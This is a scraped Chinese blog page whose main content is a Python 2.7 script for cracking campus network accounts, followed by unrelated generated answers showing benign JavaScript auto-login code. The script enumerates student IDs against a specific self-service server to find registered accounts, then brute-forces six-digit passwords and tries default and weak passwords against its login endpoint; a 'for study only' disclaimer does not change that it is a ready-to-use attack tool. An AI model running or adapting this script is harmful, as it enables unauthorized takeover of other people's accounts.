校园网密码破解程序

环境:Python 2.7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#!/usr/bin/env python
#coding=utf8
print  "+" * 50
print  u "功能:简单破解校园网账号"
print  u "微信公众号:电脑趣事"
print  u "仅供学习交流使用,严禁违法犯罪,否则后果自负"
print  "+" * 50
 
import  httplib
import  urllib
import  re
 
 
username = []
httpClient  =  None
If_password  = [ 000000 , 123456 , 123123 , 456456 , 789789 , 110110 , 110120 , 111111 , 222222 , 333333 , 444444 , 555555 , 666666 , 777777 , 888888 , 999999 , 5201314 ]
 
def  Determine():
     nj  =  int ( raw_input ( "please select a class 15,16,17:" ).strip())
     start  = int ( raw_input ( "please input start(Prompt:1234):" ).strip())
     end  =  int ( raw_input ( "please input end(Prompt:5678):" ).strip())
     
     if  (end < = start  or  (nj ! =  15  and  nj ! =  16  and  nj! = 17 )):
         print  u "输入有误,请重新选择"
         print  '=' * 50
         menu()
         exit()
     else :
         print  "please wait a moment "
 
     #构造学号
     for  in  range (start,end):
         for  in  range ( 0 , 100 ):
             key_numer  =  int ( str (nj) + str (i).zfill( 4 ) + str (j).zfill( 3 ))
             
             try :
                 params  =  urllib.urlencode({ 'key' : key_numer})
                 headers  =  { "Content-type" "application/x-www-form-urlencoded" , "Accept" "text/plain" }
                 httpClient  =  httplib.HTTPConnection( "10.54.100.1" 8080 , timeout = 30 )
                 httpClient.request( "POST" "/selfservice/module/userself/web/userself_reg_ajax.jsf?methodName=regUserinfoBean.checkUser" , params, headers)
                 response  =  httpClient.getresponse()
                 right_or_wrong  =  response.read()
                 #正则和判断
                 zhengze  =  re.findall( r 'false' ,right_or_wrong , re.M|re.I)
                 if  len (zhengze)  = =  1 :
                     username.append(key_numer)
                 
             except  Exception, e:
                 print  e
             finally :
                 if  httpClient:
                     httpClient.close()
     print  "." * 50
     print  u "在这个范围内已开通的账号有:"
     print  ""
     print  username
     print  "." * 50
     return  username
 
def  Connect(UserName,PassWord):
     global  a
     try :
         params  =  urllib.urlencode({ 'name' : UserName, 'password' :PassWord})
         headers  =  { "Content-type" "application/x-www-form-urlencoded" , "Accept" "text/plain" }
         httpClient  =  httplib.HTTPConnection( "10.54.100.1" 8080 , timeout = 30 )
         httpClient.request( "POST" "/selfservice/module/scgroup/web/login_judge.jsf" , params, headers)
         response  =  httpClient.getresponse()
         right_or_wrong  =  response.read()
 
         pipei  =  re.findall(r 'errorMsg' , right_or_wrong, re.M|re.I)
         if  len (pipei) = = 1 :
             =  0  #判断是否爆破出来的标记
             pass
         else :
             print  u "账号:%s\000\000密码:%s" % (UserName,PassWord)
             =  1
             
     except  Exception, e:
         print  e
     finally :
         if  httpClient:
             httpClient.close()
     return  a
 
def  yanzheng():
     UserName  =  str ( raw_input ( "please select a username input:" ).strip())
     for  in  range ( 0 , 1000000 ):
         PassWord  =  str (i).zfill( 6 )
         Connect(UserName,PassWord)
         if  = =  1 :
             break
         else :
             pass
 
def  Default_password_single():
     UserName  =  str ( raw_input ( "please select a username input:" ).strip())
     PassWord  =  UserName[ 3 : 10 ]
     Connect(UserName,PassWord)
     if  = = 0 :
         PassWord  =  '123456'
         Connect(UserName,PassWord)
         if  a = = 0 :
             print  u "已经查找完成"
 
def  Default_password_not_single():
     print  "please wait a moment"
     for  in  range ( 0 , len (username)):
         UserName  =  str (username[i])
         PassWord  =  UserName[ 3 : 10 ]
         Connect(UserName,PassWord)
         if  = = 0 :
             PassWord  =  '123456'
             Connect(UserName,PassWord)
             if  (i = = len (username) - 1  and  = =  0 ):
                 print  u "已经查找完成"
 
def  if_password():
     print  "please wait a moment"
     for  in  range ( 0 , len (username)):
         UserName  =  str (username[i])  
         for  in  range ( 0 , len (If_password)):
             PassWord  =  If_password[j]
             Connect(UserName,PassWord)
             if  (i = = len (username) - 1  and  j = = len (If_password) - 1  and  = =  0 ):
                 print  u "已经查找完毕"           
 
 
 
def  menu():
     print  u "欢迎大家关注微信公众号:“电脑趣事”,请选择菜单"
     while  True :
         print  "*" * 50
         print  u "\t(1) 查看已经注册的账号"
         print  u "\t(2) 简单的爆破"
         print  u "\t(3) 默认密码单个查询"
         print  u "\t(4) 默认密码批量查询"
         print  u "\t(5) 弱口令爆破"
         print  "*" * 50
         choices  =  raw_input ( "Please choices:" ).strip()
         if  len (choices)  = =  0 :
             continue
         if  choices  = =  '1' :
             Determine()
         elif  choices  = =  '2' :
             yanzheng()
         elif  choices  = =  '3' :
             Default_password_single()
         elif  choices  = =  '4' :
             Default_password_not_single()
         elif  choices  = =  '5' :
             if_password()
         else :
             print  u "请注意账号安全!"
             exit()
 
 
if  __name__  = =  '__main__' :
     menu()
    







微信公众号

wKioL1nnZnCRPP2MAAAhInXKMzc013.jpg


本文转自 天道酬勤VIP 51CTO博客,原文链接:http://blog.51cto.com/tdcqvip/1973967


  • 0
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 好的,以下是一个简单的用 JavaScript 写的校园网自动登录程序: ```javascript // 校园网登录地址 const loginUrl = 'http://example.com/login'; // 登录信息 const username = 'your_username'; const password = 'your_password'; // 发送登录请求 fetch(loginUrl, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `username=${username}&password=${password}` }) .then(response => { if (response.ok) { console.log('登录成功!'); } else { console.error('登录失败!'); } }) .catch(error => { console.error('登录出错:', error); }); ``` 请注意,这只是一个简单的示例程序,实际情况可能会更加复杂,需要根据具体的校园网登录方式进行相应的修改。 ### 回答2: 校园网自动登陆程序的主要目标是使用JavaScript在浏览器中自动完成登陆校园网的流程。下面是一个简单的实现示例: ```javascript // 获取登陆页面 fetch('http://campuswifi.xxx.edu.cn/login', {method: 'GET'}) .then(response => response.text()) .then(html => { // 从登录页面提取用户名和密码的输入框名称 const usernameInputName = extractUsernameInputName(html); const passwordInputName = extractPasswordInputName(html); // 创建formData对象并填充用户名和密码 const data = new FormData(); data.append(usernameInputName, 'your_username'); data.append(passwordInputName, 'your_password'); // 提交登陆请求 fetch('http://campuswifi.xxx.edu.cn/login', { method: 'POST', body: data }) .then(response => { if (response.ok) { console.log('登陆成功!'); } else { console.error('登陆失败!'); } }) .catch(error => console.error('请求错误:', error)); }) .catch(error => console.error('请求错误:', error)); // 提取HTML中的用户名输入框名称 function extractUsernameInputName(html) { // 使用正则表达式从HTML中提取用户名输入框名称 } // 提取HTML中的密码输入框名称 function extractPasswordInputName(html) { // 使用正则表达式从HTML中提取密码输入框名称 } ``` 在此示例中,我们首先使用`fetch`函数获取登陆页面的HTML内容,并从中提取出用户名和密码输入框的名称。然后,我们创建一个`FormData`对象,并将用户名和密码填充到该对象中。最后,我们使用`fetch`函数提交登陆请求,并根据响应的状态判断登陆是否成功。 需要注意的是,这只是一个简单的示例,实际应用中可能会有更多复杂的逻辑和需求,例如处理验证码、处理登录失败情况等。具体实现可能需要根据不同的情况进行调整和优化。 ### 回答3: 要用JavaScript写一个校园网自动登录程序,可以按照以下步骤进行: 1. 首先,我们需要获取校园网登录页面的网址,并创建一个新的JavaScript文件。 2. 使用JavaScript的DOM操作方法,可以使用document对象获取网页元素。通过查看网页源代码,我们可以找到用户名和密码输入框的元素ID,并使用document.getElementById方法来获取这些元素。 3. 创建一个函数来填写用户名和密码。使用innerHTML属性或value属性来设置用户名和密码输入框的值。 4. 使用JavaScript的XMLHttpRequest对象来发送POST请求。在登录页面的form元素上找到form属性并使用FormData对象来构造表单数据。 5. 使用XMLHttpRequest的open()方法来指定请求的方法以及登录页面的URL。 6. 设置请求头信息,包括Content-Type和X-Requested-With等。 7. 使用XMLHttpRequest的send()方法来发送请求,我们可以将FormData对象作为参数传递。 8. 监听XMLHttpRequest对象的onreadystatechange事件,当readyState为4(请求完成)且status为200(成功)时,表示登录成功。 9. 在登录成功后,可以通过JavaScript自动跳转到其他页面,或执行其他操作。 整个过程遵循了HTTP请求和DOM操作的基本原理,通过使用JavaScript来模拟用户的登录操作,实现了自动登录功能。需要注意的是,校园网登录页面可能有一些特定的验证机制,可能需要根据具体情况进行相应的调整和处理。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值